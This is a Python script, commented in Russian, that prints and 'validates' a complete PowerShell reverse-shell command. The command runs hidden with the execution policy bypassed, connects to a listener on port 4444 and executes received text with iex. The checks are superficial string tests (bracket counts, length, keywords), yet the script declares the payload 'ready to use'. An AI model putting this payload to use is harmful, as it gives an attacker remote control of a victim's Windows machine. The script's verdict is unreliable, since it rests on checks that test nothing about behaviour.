#!/usr/bin/env python3
"""
Улучшенное тестирование PowerShell reverse shell команды
"""
import subprocess
import sys

def test_powershell_command():
    """Тестируем PowerShell команду с проверкой синтаксиса"""
    print("=== Улучшенное тестирование PowerShell reverse shell команды ===")
    print()
    
    # Наша команда для тестирования
    powershell_cmd = 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient(\'127.0.0.1\',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'
    
    print("Команда для тестирования:")
    print(powershell_cmd)
    print()
    
    # Проверяем баланс скобок
    print("[1] Проверяем баланс скобок...")
    open_braces = powershell_cmd.count('{')
    close_braces = powershell_cmd.count('}')
    open_parens = powershell_cmd.count('(')
    close_parens = powershell_cmd.count(')')
    open_brackets = powershell_cmd.count('[')
    close_brackets = powershell_cmd.count(']')
    
    print(f"    Открытые скобки: {{ = {open_braces}, ( = {open_parens}, [ = {open_brackets}")
    print(f"    Закрытые скобки: }} = {close_braces}, ) = {close_parens}, ] = {close_brackets}")
    
    if open_braces == close_braces and open_parens == close_parens and open_brackets == close_brackets:
        print("    ✅ Баланс скобок корректен")
    else:
        print("    ❌ Нарушен баланс скобок")
        return False
    
    # Проверяем длину команды
    print("\n[2] Проверяем длину команды...")
    cmd_length = len(powershell_cmd)
    print(f"    Длина команды: {cmd_length} символов")
    
    if cmd_length < 2000:
        print("    ✅ Длина команды допустима")
    else:
        print("    ❌ Команда слишком длинная")
        return False
    
    # Проверяем наличие опасных символов
    print("\n[3] Проверяем наличие опасных символов...")
    dangerous_chars = ['&', '|', ';', '`', '^', '<', '>']
    found_dangerous = []
    
    for char in dangerous_chars:
        if char in powershell_cmd:
            found_dangerous.append(char)
    
    if found_dangerous:
        print(f"    ⚠️ Найдены опасные символы: {found_dangerous}")
    else:
        print("    ✅ Нет опасных символов")
    
    # Проверяем переменные
    print("\n[4] Проверяем переменные...")
    variables = ['$client', '$stream', '$bytes', '$i', '$data', '$sendback', '$sendback2', '$sendbyte']
    found_variables = []
    
    for var in variables:
        if var in powershell_cmd:
            found_variables.append(var)
    
    print(f"    Найдены переменные: {found_variables}")
    
    if len(found_variables) == len(variables):
        print("    ✅ Все переменные присутствуют")
    else:
        print("    ⚠️ Не все переменные присутствуют")
    
    # Проверяем логику цикла
    print("\n[5] Проверяем логику цикла...")
    if 'while' in powershell_cmd and 'Read' in powershell_cmd and 'Write' in powershell_cmd:
        print("    ✅ Логика цикла корректна")
    else:
        print("    ❌ Логика цикла нарушена")
        return False
    
    # Проверяем обработку ошибок
    print("\n[6] Проверяем обработку ошибок...")
    if '2>&1' in powershell_cmd and 'Out-String' in powershell_cmd:
        print("    ✅ Обработка ошибок присутствует")
    else:
        print("    ⚠️ Обработка ошибок отсутствует")
    
    print("\n" + "="*60)
    print("РЕЗУЛЬТАТ ТЕСТИРОВАНИЯ:")
    print("✅ PowerShell команда готова к использованию")
    print("⚠️ Рекомендуется тестирование на изолированной системе")
    
    return True

if __name__ == '__main__':
    test_powershell_command()
